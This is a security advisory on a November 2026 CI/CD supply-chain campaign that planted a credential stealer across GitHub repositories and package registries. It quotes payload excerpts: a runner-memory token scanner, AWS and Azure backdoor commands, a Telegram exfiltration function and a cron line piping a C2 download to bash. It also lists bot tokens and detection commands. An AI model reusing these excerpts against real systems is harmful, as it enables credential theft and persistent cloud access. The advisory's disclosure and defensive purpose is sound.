critical

CVE

Not assigned

CWE

CWE-506, CWE-522, CWE-200, CWE-94

Affected Surface

  • 8,093+ GitHub repositories (and 63,000+ probed repositories across 4,837 compromised developer and bot accounts, including `nextcloud/docker`, `webdriverio/webdriverio` plus 27 other WebdriverIO repos via `wdio-bot`, `drunomics/nuxtjs-drupal-ce` via `drubot`, `zerosoul/rc-bullets`, `juejin-cn/repo-data`, and `ipfs-shipyard/js-ipld-fixtures`) that received `wfx-docs` pull requests or `ci: refresh build cache`, `chore: add ci helper`, or `chore: add dependency audit workflow` commits between 10 and 12 November 2026
  • Packagist `digitalelvis/neuronai-studio` version `v3.14.3` (published 11 November 2026 at `12:29 UTC`, shipping `.ci-e5infq.sh` and a `package.json` `postinstall` hook; fixed in `v3.14.4` on 12 November 2026)
  • Go module proxy releases `github.com/vkuznet/gocurl` version `v0.0.0-20261111095532-8d5aad0cb0da` (`8d5aad0cb0da`, still live on `main` and cached on `proxy.golang.org`) and `github.com/onuragtas/redock` / `github.com/onuragtas/docker-env` every even tag from `v1.0.278` to `v1.0.290` (`v1.0.278`, `v1.0.280`, `v1.0.282`, `v1.0.284`, `v1.0.286`, `v1.0.288`, `v1.0.290`; the odd tags `v1.0.279` to `v1.0.291` are clean reverts)
  • npm `pdf-html5-page-flip` versions `2.0.1` (removed from the registry on 12 November 2026 at 13:42 UTC) and `2.0.2` (`GHSA-j3hx-5mxx-43qh`, removed from the registry on 12 November 2026), which bundle the GhostAction `dist/lib/fonts/fa-solid-400.woff2` JavaScript credential stealer and `#ghc2` cron backdoor
  • AWS IAM roles and users (sessions named `wfx-<pid>`, trust policies rewritten to `"Principal": {"AWS": "*"}`, and new IAM access keys) and Azure Entra ID app registrations (federated identity credentials named `wfx-ci-<n>`) reachable from affected GitHub Actions workflows

TL;DR

Update, 12 November 2026 (evening: more poisoned redock tags, pdf-html5-page-flip@2.0.1 removed, OX Security figures): The onuragtas/redock (docker-env) release pipeline kept getting hit after our first version of this article. Every even tag from v1.0.278 through v1.0.290 ships the 1,730-line Telegram-only wfx payload in .github/workflows/beta.yml: v1.0.284 (51e48de, 08:59 UTC), v1.0.286 (26e444c, 12:47 UTC), v1.0.288 (7edd4a6, 16:06 UTC), and v1.0.290 (25c33cd, 17:18 UTC) join the three tags listed below. Each was followed about a minute later by a ci: restore commit tagged as the next odd version (v1.0.291 is 7c450ed, 17:19 UTC). We earlier listed v1.0.284 as the fix; it is not. The payloads use the same chat (-1004340163187), the same bot tokens, and WF_CALLBACK set to http://127.0.0.1:1/x. Pin to an odd tag and expect more even tags while the maintainer’s token stays compromised. On npm, pdf-html5-page-flip@2.0.1 was removed from the registry on 12 November at 13:42 UTC, leaving only 0.0.0-stage. OX Security now counts more than 66,200 probe PRs (about 58,900 still open), over 4,100 new probes on 12 November alone, at least 1,806 repositories with confirmed exfiltration (Aikido’s count is 1,835), and more than 50 hijacked accounts that publish packages.

Starting at 12:45 UTC on 10 November 2026, an attacker armed with stolen Personal Access Tokens (PATs), bot tokens, and Fly.io GitHub App user-to-server tokens (fly-io, GitHub App ID 34557) across 4,837 compromised GitHub accounts launched an automated CI/CD credential-theft operation tracked by Aikido Security as wfx-loot, by StepSecurity as WFX Phantom, and by SafeDep as wfx:

  1. 63,000+ probe PRs and 8,093 repositories hit with sub-minute git revert and run deletion: To test write permissions, the operator’s automation opened more than 63,000 pull requests titled docs: dependency audit notes from a wfx-docs branch adding a 2-line docs/wfx-audit.md file (10,431 of which landed in third-party organization or collaborator repositories). Where the token had sufficient rights, the operator pushed a ~1,500-line POSIX shell stealer (wfx) using one of four methods (ci: refresh build cache into existing workflows or CI shell scripts such as nextcloud/docker’s update.sh, chore: add ci helper adding .ci-<6chars>.sh plus a package.json postinstall/build/test hook across 771 repos including 28 WebdriverIO repos via wdio-bot, or chore: add dependency audit workflow adding .github/workflows/build-audit-<6chars>.yml). Within 12 to 60 seconds of the workflow starting, the automation pushed ci: restore / ci: cleanup revert commits and deleted the GitHub Actions workflow run and its logs, leaving only a missing run number in the Actions tab.
  2. Memory scraping of Runner.Worker, OIDC cloud pivoting, and persistent AWS / Azure backdoors: Even when injected into an ordinary shell script or package.json postinstall hook that never touches .github/workflows/*.yml, wfx uses python3 (with sudo -n if available) to scan /proc/<pid>/maps and /proc/<pid>/mem of Runner.Worker and Runner.Listener, extracting decrypted repository and organization secrets directly from runner memory. It also requests GitHub OIDC tokens (ACTIONS_ID_TOKEN_REQUEST_URL) for AWS, Azure, GCP, HashiCorp Vault, and Kubernetes, chains into secondary AWS IAM roles found in the repo, creates permanent IAM user keys (aws iam create-access-key), rewrites chained AWS role trust policies to "Principal": {"AWS": "*"}, and injects federated identity credentials named wfx-ci-<n> into Azure Entra ID app registrations (POST /v1.0/applications/<id>/federatedIdentityCredentials) so any future workflow on the repo’s default branch can authenticate to Azure without a stored secret.
  3. 12 November shift from HTTP callbacks to Telegram-only exfiltration (-1004340163187): Samples from 10 and 11 November uploaded gzipped tarballs (wfx-$$.tgz) via HTTP POST to http://194.150.166[.]244:8080/exfil or http://18.143.168[.]96:8080/exfil. At 01:10 UTC on 12 November, the operator rotated to a third server (153.75.82[.]159:8080/exfil) with Telegram as backup, and by 05:30 UTC on 12 November switched every new payload to Telegram-only delivery (WF_CALLBACK="http://127.0.0.1:1/x", uploading chunks via sendDocument to chat -1004340163187 across five bot tokens). IP blocklists alone no longer stop exfiltration on current commits.
  4. Spillover into Packagist (digitalelvis/neuronai-studio), Go modules (vkuznet/gocurl, onuragtas/redock), and npm (pdf-html5-page-flip): Automated release pipelines carried the wfx payload into Packagist digitalelvis/neuronai-studio v3.14.3 (which ships .ci-e5infq.sh and the package.json postinstall hook; fixed in v3.14.4 on 12 November) and Go modules github.com/vkuznet/gocurl@v0.0.0-20261111095532-8d5aad0cb0da and github.com/onuragtas/redock (docker-env) every even tag from v1.0.278 to v1.0.290. Separately, on 12 November (11:33 UTC), GitHub published GHSA-j3hx-5mxx-43qh and npm unpublished pdf-html5-page-flip@2.0.2, a repository hit by the overlapping GhostAction campaign; pdf-html5-page-flip@2.0.1 stayed live until it was removed from the registry at 13:42 UTC the same day. Both versions ship the 1,777-byte dist/lib/fonts/fa-solid-400.woff2 JavaScript credential stealer and #ghc2 cron backdoor (193.32.204[.]199:8080).

What to do now: Search your GitHub repositories and audit logs for wfx-docs branches, docs/wfx-audit.md, commits titled ci: refresh build cache, chore: add ci helper, chore: add dependency audit workflow, ci: restore, or ci: cleanup, and gaps in GitHub Actions run numbers since 10 November 2026. If hit, rotate all repository, environment, and organization secrets (not only those referenced in the workflow), audit AWS IAM for wfx-* sessions, new access keys, and "Principal": {"AWS": "*"} trust policies, and audit Azure Entra ID app registrations for wfx-ci-* federated credentials.

Affected packages and repositories

We verified the live status of each affected package against repo.packagist.org, proxy.golang.org, and registry.npmjs.org on 12 November 2026:

EcosystemPackage / RepositoryAffected versions / commitsFixed or safe versionFirst seen (UTC)Status (12 Nov 2026)
GitHub Actions8,093+ repositories with payload commits (63,000+ with wfx-docs probe PRs), including nextcloud/docker, webdriverio/* (28 repos), drunomics/nuxtjs-drupal-ce, zerosoul/rc-bullets, juejin-cn/repo-data, ipfs-shipyard/js-ipld-fixturesCommits titled ci: refresh build cache, chore: add ci helper, chore: add dependency audit workflow (2026-11-10 12:46 to 2026-11-12+)Reverted (ci: restore / ci: cleanup), except uncleaned repos (vkuznet/gocurl, Kellie-Brighty/Suinicate, MattiaPARRINELLO/git-quest, alexappsco/ttra-site)2026-11-10 12:45Campaign active (Telegram-only mode since 2026-11-12 05:30 UTC)
Packagistdigitalelvis/neuronai-studiov3.14.3 (commit 45da53a47e53, adds .ci-e5infq.sh + package.json postinstall)v3.14.4 (or <= v3.14.2)2026-11-11 12:29:20v3.14.4 released on 12 Nov 2026 (94f1349681); v3.14.3 tag still cached on Packagist
Gogithub.com/vkuznet/gocurlv0.0.0-20261111095532-8d5aad0cb0da (commit 8d5aad0cb0da, .github/workflows/build.yml)Pin commit <= 558a3aa (prior to 8d5aad0)2026-11-11 09:55:32Still live on GitHub main and cached on proxy.golang.org as @latest
Gogithub.com/onuragtas/redock and github.com/onuragtas/docker-envv1.0.278 (9fa761d), v1.0.280 (ff0dce7), v1.0.282 (64f0bc4), v1.0.284 (51e48de), v1.0.286 (26e444c), v1.0.288 (7edd4a6), v1.0.290 (25c33cd); v1.0.282 onward are the Telegram variantNone yet; odd tags v1.0.279 to v1.0.291 are clean reverts2026-11-11 to 2026-11-12 17:18Cached on proxy.golang.org (.github/workflows/beta.yml only; Go source untouched)
npmpdf-html5-page-flip (GHSA-j3hx-5mxx-43qh)2.0.1, 2.0.2 (bundles dist/lib/fonts/fa-solid-400.woff2 GhostAction JS stealer)None (0.0.0-stage only)2026-11-10 19:53:462.0.2 removed from the registry on 12 Nov (11:33 UTC); 2.0.1 removed from the registry on 12 Nov (13:42 UTC)

Technical analysis

We pulled the raw wfx shell payloads from digitalelvis/neuronai-studio@79de591 (.ci-e5infq.sh, 1,493 lines), masterpranay1/Country-Quiz-Challenge@9b18a65 (.github/workflows/build-audit-m8bnpk.yml, 1,519 lines), and onuragtas/redock@64f0bc4 (.github/workflows/beta.yml, 1,730 lines, Telegram-only variant) alongside the live pdf-html5-page-flip-2.0.1.tgz tarball from registry.npmjs.org and analyzed them statically.

1. Four injection vectors and sub-minute cleanup

The campaign begins with an automated write-access probe: using a stolen GitHub PAT, bot token, or Fly.io GitHub App user-to-server token (performed_via_github_app.slug == "fly-io", ID 34557, observed on 173 probe PRs across 19 accounts), the attacker creates branch wfx-docs, commits docs/wfx-audit.md (git blob ee6e5addfe591923fc385553cb66cf0d25634a6b, containing "Routine supply-chain review notes."), and opens a pull request titled docs: dependency audit notes.

If the token can push to a branch that triggers CI, the operator plants the ~1,500-line shell stealer in one of four places:

  1. Existing workflow injection (ci: refresh build cache, 7,309+ repos in SafeDep’s dataset and 21,000+ total commits): Prepends two steps to an existing workflow (.github/workflows/ci.yml, test.yml, build.yml): a Pass runtime step using actions/github-script@v7 that copies ACTIONS_RUNTIME_TOKEN, ACTIONS_RUNTIME_URL, ACTIONS_CACHE_URL, and ACTIONS_RESULTS_URL into $GITHUB_ENV, followed by a Restore cache <4chars> step with WF_SECRETS: "${{ toJSON(secrets) }}" and WF_VARS: "${{ toJSON(vars) }}".
  2. Existing CI shell script injection (ci: refresh build cache, e.g., nextcloud/docker update.sh and PancrePal-xiaoyibao/MinerU-xyb tests/retry_env.sh): Appends the shell script directly to an ordinary .sh script that an existing workflow already executes, avoiding any diff inside .github/workflows/.
  3. Hidden .ci-<6chars>.sh + package.json hook (chore: add ci helper, 771+ repos): Pushes two commits: the first drops .ci-<6chars>.sh (such as .ci-e5infq.sh or .ci-a4oytg.sh) at the repository root, and the second prepends sh ./.ci-<6chars>.sh >/dev/null 2>&1; _r=$?; if [ "$_r" -eq 42 ]; then exit 42; fi to scripts.postinstall (or build / test) in package.json. This vector runs both in CI and on any developer workstation that runs npm install before the revert lands.
  4. Standalone workflow on a throwaway branch (chore: add dependency audit workflow): Commits .github/workflows/build-audit-<6chars>.yml (name: Dependency Audit <4chars>) with permissions: { contents: read, actions: read, id-token: write, statuses: write }.

As soon as the workflow finishes (typically within 12 to 60 seconds), the automation pushes ci: restore and ci: cleanup to revert the branch and calls DELETE /repos/<owner>/<repo>/actions/runs/<run_id> to erase the workflow run and its logs. Because GitHub Actions increments run_number monotonically per workflow, a missing run number right before a ci: restore run (for example, drunomics/nuxtjs-drupal-ce jumping from run #1963 to #1965) proves that the stealer executed and deleted its own run.

2. Scraping Runner.Worker process memory and forging required status checks

When wfx is injected into package.json (chore: add ci helper) or a repository shell script (update.sh), it cannot pass ${{ toJSON(secrets) }} in a workflow env: block. Instead, Stage 3 of the script (WF_MEMSCAN=1) uses python3 (running via sudo -n if passwordless sudo is available on the runner) to read /proc/<pid>/maps and /proc/<pid>/mem, sorting Runner.Worker and Runner.Listener to the front of the scan list so decrypted secrets held in the runner’s heap are extracted even when never exported to the step’s environment:

# Extracted from .github/workflows/beta.yml @ 64f0bc4 (lines 160-216)
pat = re.compile(rb'(eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{6,}'
                 rb'|gh[pousr]_[A-Za-z0-9_]{36,}'
                 rb'|github_pat_[A-Za-z0-9_]{20,}'
                 rb'|glpat-[A-Za-z0-9_.-]{20,}'
                 rb'|AKIA[0-9A-Z]{16}'
                 rb'|sk-ant-[A-Za-z0-9_-]{20,}'
                 rb'|sk-(proj|svcacct)-[A-Za-z0-9_-]{20,}'
                 rb'|hf_[A-Za-z0-9]{30,})')
me = str(os.getpid())
pids = []
for maps in glob.glob('/proc/[0-9]*/maps'):
    pid = maps.split('/')[2]
    if pid == me:
        continue
    try:
        with open('/proc/%s/comm' % pid) as fh:
            comm = fh.read().strip()
    except Exception:
        comm = ''
    pids.append((0 if comm in ('Runner.Worker', 'Runner.Listener') else 1, pid, maps))
pids.sort()
for _, pid, maps in pids:
    ...
    mem = open('/proc/%s/mem' % pid, 'rb', buffering=0)

In addition, Stage 2b (lines 102-145) implements a branch-protection bypass (WF_RC_1..N): because classic GitHub branch protection rules match required status checks by context string rather than pinning the GitHub App ID that posted them, a workflow granted statuses: write can POST {"state":"success","context":"<required-check-name>"} to /repos/${WF_REPO}/statuses/${SHA} to satisfy merge gates while the payload is still running.

3. Cloud OIDC escalation and persistent AWS / Azure backdoors

Rather than merely copying static credentials from ~/.aws/credentials, ~/.azure, ~/.config/gcloud, ~/.kube/config, .env, *.tfvars, *.tfstate, and 50+ AI/LLM env vars (OPENAI*, ANTHROPIC*, CLAUDE*, CURSOR*, CODEX*, LITELLM*, WANDB*, HF_*), Stage 7 actively exchanges the workflow’s ACTIONS_ID_TOKEN_REQUEST_URL OIDC token against AWS STS, Azure AD, GCP Workload Identity, HashiCorp Vault, and Kubernetes APIs and plants persistence that survives secret rotation:

# 1. AWS role chaining, permanent IAM key creation, and trust-policy rewrite (lines 784-885)
ARNS=$(grep -rho 'arn:aws:iam::[0-9]\{12\}:role/[A-Za-z0-9+=,.@_/-]*' "$D"/vars_*.json "$D"/secrets_*.json "$D/repo" 2>/dev/null | sort -u | head -2)
for R2 in $ARNS; do
  AWS_ACCESS_KEY_ID="$AK" AWS_SECRET_ACCESS_KEY="$SK" AWS_SESSION_TOKEN="$ST" \
    timeout 15 aws sts assume-role --role-arn "$R2" --role-session-name "wfx-$$" \
    --duration-seconds 3600 --tags "Key=wfx,Value=$$" "Key=repo,Value=${WF_REPO:-unknown}" \
    --transitive-tag-keys wfx repo --output json > "$out"
  ...
done
# Enumerate up to 2 IAM users and create permanent access keys:
aws iam list-users --max-items 5 --output json > "$D/aws_users.json"
aws iam create-access-key --user-name "$UN" --output json > "$D/aws_persist_key_${un}.json"
# Rewrite the chained role's AssumeRolePolicyDocument to allow any AWS principal ("*"):
aws iam update-assume-role-policy --role-name "$RN" \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"*"},"Action":"sts:AssumeRole"}]}'

# 2. Azure Entra ID federated identity credential injection (lines 1162-1192)
SUBJ="repo:${WF_REPO:-unknown}:ref:refs/heads/${WF_REF:-main}"
curl -sS --max-time 20 -o "$D/az_fic_add_$fi2.json" -w '%{http_code}' -X POST \
  -H "Authorization: Bearer $AGRAPH" -H "Content-Type: application/json" \
  -d "{\"name\":\"wfx-ci-$fi2\",\"issuer\":\"https://token.actions.githubusercontent.com\",\"subject\":\"$SUBJ\",\"audiences\":[\"api://AzureADTokenExchange\"]}" \
  "https://graph.microsoft.com/v1.0/applications/$oid/federatedIdentityCredentials"

4. The 12 November switch to Telegram-only exfiltration and spillover into pdf-html5-page-flip

In commits pushed on 12 November (onuragtas/redock@64f0bc4 at 05:19:40 UTC and every sample collected after 05:30 UTC), the attacker disabled HTTP callbacks (WF_CALLBACK: "http://127.0.0.1:1/x") and added Stage 9b (tg_deliver), which includes an Indonesian-language comment (# TG selalu dicoba: tier atas (cache/summary/artifact) boleh sukses, panel tetap dapat salinan, meaning “TG is always tried: upper tiers may succeed, the panel still gets a copy”) and cycles through five hardcoded Telegram bot tokens to upload the archive to chat -1004340163187:

# Extracted from .github/workflows/beta.yml @ 64f0bc4 (lines 1479-1512)
tg_deliver() {
  tok="$1"; f="$2"; fn="$3"
  resp=$(curl -sS --connect-timeout 15 --max-time 180 -w '\n%{http_code}' \
    -F "chat_id=${TG_CHAT}" \
    -F "caption=id=${RID} part=${n:-1}/${total:-1} h=${H}" \
    -F "document=@${f};filename=${fn}" \
    "https://api.telegram.org/bot${tok}/sendDocument" 2>>"$D/errors.log")
  code=$(printf '%s' "$resp" | tail -n1)
  body=$(printf '%s' "$resp" | sed '$d')
  [ "$code" = "200" ] && printf '%s' "$body" | grep -q '"ok"[[:space:]]*:[[:space:]]*true' && return 0
  return 1
}

Both Aikido and StepSecurity noted strong victim-account overlap between wfx-loot and the October GhostAction campaign (193.32.204[.]199). On 12 November at 11:33:05 UTC, GitHub published GHSA-j3hx-5mxx-43qh for npm pdf-html5-page-flip@2.0.2 and npm unpublished 2.0.2. However, our static inspection of the live pdf-html5-page-flip@2.0.1 tarball (latest on registry.npmjs.org, SHA-256 33c09eb9e61cf94e33f81268097c6c07841766fadbcfcd3c8690238d08214f47, published 10 November at 19:53:46 UTC) confirms that package/dist/lib/fonts/fa-solid-400.woff2 (1,777 bytes) is not a font file at all, but the GhostAction Node.js credential stealer that harvests .aws/credentials, .pypirc, .npmrc, .git-credentials, .claude/.credentials.json, .gemini/oauth_creds.json, .kube/config, and ~/.ssh/id_*, POSTs them to http://193.32.204[.]199:8080/?c=reinject, and installs a 5-minute root/user cron backdoor (*/5 * * * * curl -s -m 10 http://193.32.204[.]199:8080/c2/$(hostname) | bash >/dev/null 2>&1 #ghc2).

IOCs

  • Exfiltration endpoints and callback tokens (defanged):
    • HTTP callback servers: hxxp://194.150.166[.]244:8080/exfil (WF_CTOKEN=b42d70a7aab9140ca19e8249), hxxp://18.143.168[.]96:8080/exfil (WF_CTOKEN=e6ny5telf3pht81qk5zv), and hxxp://153.75.82[.]159:8080/exfil (WF_CTOKEN=15f44heehnax8jdf41yx)
    • Telegram exfiltration (WF_TG_CHAT / WF_TG_BOTS): chat ID -1004340163187 via bot IDs 8708988906 (8708988906:AAEUhuTA6uigm_aBwr1RZq4vVmZfcdH48Gk), 9196217635 (9196217635:AAGMs4Xpp9jc88BFgLrG7eiDJ9Z2185VTFQ), 9180059428 (9180059428:AAE0sPUWEFHYu0GdmkNosAxSUW6kXSX8zFM), 8902935164 (8902935164:AAH36TLSoy8AYpj2c-0VCXP2DNfMkjIxYHs), and 8876515636 (8876515636:AAELKJEqcMp9r6hVB83TZ_lfhlZsnzqNZcQ)
    • GhostAction C2 embedded in pdf-html5-page-flip@2.0.1 / 2.0.2: hxxp://193.32.204[.]199:8080/?c=reinject and hxxp://193.32.204[.]199:8080/c2/<hostname>
  • GitHub repository, branch, commit, and file indicators:
    • Probe pull request: title docs: dependency audit notes, branch wfx-docs, file docs/wfx-audit.md (git blob SHA-1 ee6e5addfe591923fc385553cb66cf0d25634a6b)
    • Payload commit messages: ci: refresh build cache, chore: add ci helper, chore: add dependency audit workflow, chore: initial commit, followed by ci: restore and ci: cleanup
    • Branch and file patterns: chore/[a-z0-9]{8}, ci-check-[0-9]{4}, .ci-[a-z0-9]{6}.sh (e.g., .ci-e5infq.sh SHA-256 89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf), .github/workflows/build-audit-[a-z0-9]{6}.yml, staging directory ${RUNNER_TEMP:-/tmp}/.wfx-$$
  • Cloud persistence indicators:
    • AWS: STS role sessions named wfx-<pid>, session tags Key=wfx / Key=repo, IAM role trust policies modified to "Principal": {"AWS": "*"}, and unexpected iam:CreateAccessKey calls
    • Azure Entra ID: federated identity credentials named wfx-ci-1, wfx-ci-2, wfx-ci-3 with issuer https://token.actions.githubusercontent.com

Detection and remediation

# 1. Search local git history (including dangling/reverted commits) for wfx commits, files, or markers
git log --all --full-history --grep='ci: refresh build cache\|chore: add ci helper\|chore: add dependency audit workflow\|docs: dependency audit notes' --oneline
git log --all --full-history --stat -- '.ci-*.sh' 'docs/wfx-audit.md' '.github/workflows/build-audit-*.yml'
rg -n 'WF_CALLBACK|WF_CTOKEN|WF_TG_BOTS|-1004340163187|194\.150\.166\.244|18\.143\.168\.96|153\.75\.82\.159' .github/ package.json *.sh 2>/dev/null

# 2. Check Packagist composer.lock, Go go.sum, and npm lockfiles for poisoned package releases
rg -n 'neuronai-studio|"v3\.14\.3"|vkuznet/gocurl|8d5aad0cb0da|onuragtas/(redock|docker-env).*v1\.0\.(278|280|282|284|286|288|290)|pdf-html5-page-flip' \
  composer.lock go.mod go.sum package.json package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null

# 3. Hunt for AWS and Azure persistence in your cloud accounts
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity \
  --start-time 2026-11-10T00:00:00Z | rg 'wfx-'
az ad app list --all --query "[].{appId:appId, displayName:displayName}" -o tsv 2>/dev/null
  1. Check for deleted workflow runs and rotate every reachable secret: In any repository that received a wfx commit (even if reverted 15 seconds later), check the GitHub Actions tab or organization audit log (action:workflows.delete_workflow_run) for missing run numbers. Because wfx scrapes Runner.Worker memory, rotate every repository, environment, and organization secret available to the repository, not just secrets referenced in the modified workflow file.
  2. Purge AWS and Azure cloud persistence before relying on secret rotation: In AWS, inspect CloudTrail since 2026-11-10T12:00:00Z for AssumeRoleWithWebIdentity / AssumeRole sessions named wfx-*, delete any IAM user access keys created by those sessions (CreateAccessKey), and revert any IAM role trust policies (UpdateAssumeRolePolicy) containing "Principal": {"AWS": "*"}. In Azure Entra ID, inspect federatedIdentityCredentials on all app registrations and delete any credential named wfx-ci-*.
  3. Revoke compromised developer, bot, and Fly.io GitHub App tokens: For every user or bot account (such as wdio-bot or drubot) that opened a wfx-docs PR or authored a ci: refresh build cache commit, revoke all active PATs, OAuth app grants, and GitHub App user-to-server tokens (including reviewing the fly-io GitHub App grant), and remove branch-protection bypass permissions from automation bots.
  4. Upgrade digitalelvis/neuronai-studio to v3.14.4 (or <= v3.14.2), exclude every even onuragtas/redock (docker-env) tag from v1.0.278 to v1.0.290 (pin an odd tag such as v1.0.291) and vkuznet/gocurl@v0.0.0-20261111095532-8d5aad0cb0da, and remove pdf-html5-page-flip (2.0.1 / 2.0.2, checking crontab -l for #ghc2).

Timeline

  • 2026-11-10 (12:45 UTC): The wfx / wfx-loot automation begins opening docs: dependency audit notes probe pull requests from wfx-docs branches and pushing ci: refresh build cache and chore: add ci helper commits exfiltrating to 194.150.166[.]244:8080 and 18.143.168[.]96:8080.
  • 2026-11-10 (19:53:46 UTC): pdf-html5-page-flip@2.0.1 is published to npm carrying the dist/lib/fonts/fa-solid-400.woff2 GhostAction credential stealer.
  • 2026-11-11 (09:17 to 12:29 UTC): wfx commits hit drunomics/nuxtjs-drupal-ce (09:17 UTC), vkuznet/gocurl (09:55 UTC, cached as v0.0.0-20261111095532-8d5aad0cb0da on the Go module proxy), 19 accounts via the Fly.io GitHub App (10:02 to 10:36 UTC), and digitalelvis/neuronai-studio (12:28 to 12:29 UTC, released to Packagist as v3.14.3), plus nextcloud/docker (update.sh) and 28 WebdriverIO repositories (wdio-bot).
  • 2026-11-12 (01:10 to 05:30 UTC): Operator introduces a third HTTP server (153.75.82[.]159:8080) with Telegram backup (01:10 UTC), then switches all new payloads (onuragtas/redock@64f0bc4 / v1.0.282 at 05:19 UTC and all samples after 05:30 UTC) to Telegram-only exfiltration (chat_id=-1004340163187).
  • 2026-11-12 (01:45 to 11:33 UTC): Aikido Security, SafeDep, and StepSecurity publish technical analyses and IOC datasets for the campaign; digitalelvis/neuronai-studio releases clean v3.14.4 on Packagist; and GitHub publishes GHSA-j3hx-5mxx-43qh for pdf-html5-page-flip@2.0.2.
  • 2026-11-12 (08:59 to 17:19 UTC): Poisoned onuragtas/redock tags v1.0.284, v1.0.286, v1.0.288, and v1.0.290 are pushed, each reverted about a minute later by the next odd tag; pdf-html5-page-flip@2.0.1 is removed from the registry at 13:42 UTC; OX Security publishes its campaign figures.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References